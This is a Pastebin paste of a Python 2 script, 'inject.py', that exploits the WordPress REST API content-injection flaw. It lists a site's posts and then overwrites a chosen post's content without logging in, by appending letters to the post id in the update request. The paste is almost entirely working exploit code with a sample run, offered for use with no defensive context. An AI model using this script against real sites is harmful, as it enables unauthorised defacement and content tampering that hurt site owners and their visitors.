Advertisement
AZZATSSINS_CYBERSERK

Wordpress edit content

Feb 4th, 2017
305
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.44 KB | None | 0 0
  1. #!/usr/bin/python
  2. # $ python inject.py http://localhost:8070/ 1 content
  3. # * Discovering API Endpoint
  4. # * API lives at: http://localhost:8070/wp-json/
  5. # * Updating post 1
  6. # * Post updated. Check it out at http://localhost:8070/archives/1
  7. # * Update complete!
  8.  
  9. import json
  10. import sys
  11. import urllib2
  12.  
  13. from lxml import etree
  14.  
  15.  
  16. def get_api_url(wordpress_url):
  17.     response = urllib2.urlopen(wordpress_url)
  18.  
  19.     data = etree.HTML(response.read())
  20.     u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0]
  21.  
  22.     # check if we have permalinks
  23.     if 'rest_route' in u:
  24.         print(' ! Warning, looks like permalinks are not be enabled. This might not work!')
  25.  
  26.     return u
  27.  
  28.  
  29. def get_posts(api_base):
  30.     respone = urllib2.urlopen(api_base + 'wp/v2/posts')
  31.     posts = json.loads(respone.read())
  32.  
  33.     for post in posts:
  34.         print(' - Post ID: {}, Title: {}, Url: {}'
  35.               .format(post['id'], post['title']['rendered'], post['link']))
  36.  
  37.  
  38. def update_post(api_base, post_id, post_content):
  39.     data = json.dumps({
  40.         'content': post_content
  41.     })
  42.  
  43.     url = api_base + 'wp/v2/posts/{post_id}/?id={post_id}abc'.format(post_id=post_id)
  44.     req = urllib2.Request(url, data, {'Content-Type': 'application/json'})
  45.     response = urllib2.urlopen(req).read()
  46.  
  47.     print('* Post updated. Check it out at {}'.format(json.loads(response)['link']))
  48.  
  49.  
  50. def print_usage():
  51.     print('Usage: {} <url> (optional: <post_id> <file with post_content>)'.format(__file__))
  52.  
  53.  
  54. if __name__ == '__main__':
  55.  
  56.     # ensure we have at least a url
  57.     if len(sys.argv) < 2:
  58.         print_usage()
  59.         sys.exit(1)
  60.  
  61.     # if we have a post id, we need content too
  62.     if 2 < len(sys.argv) < 4:
  63.         print('Please provide a file with post content with a post id')
  64.         print_usage()
  65.         sys.exit(1)
  66.  
  67.     print('* Discovering API Endpoint')
  68.     api_url = get_api_url(sys.argv[1])
  69.     print('* API lives at: {}'.format(api_url))
  70.  
  71.     # if we only have a url, show the posts we have have
  72.     if len(sys.argv) < 3:
  73.         print('* Getting available posts')
  74.         get_posts(api_url)
  75.  
  76.         sys.exit(0)
  77.  
  78.     # if we get here, we have what we need to update a post!
  79.     print('* Updating post {}'.format(sys.argv[2]))
  80.     with open(sys.argv[3], 'r') as content:
  81.         new_content = content.readlines()
  82.  
  83.     update_post(api_url, sys.argv[2], ''.join(new_content))
  84.  
  85.     print('* Update complete!')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement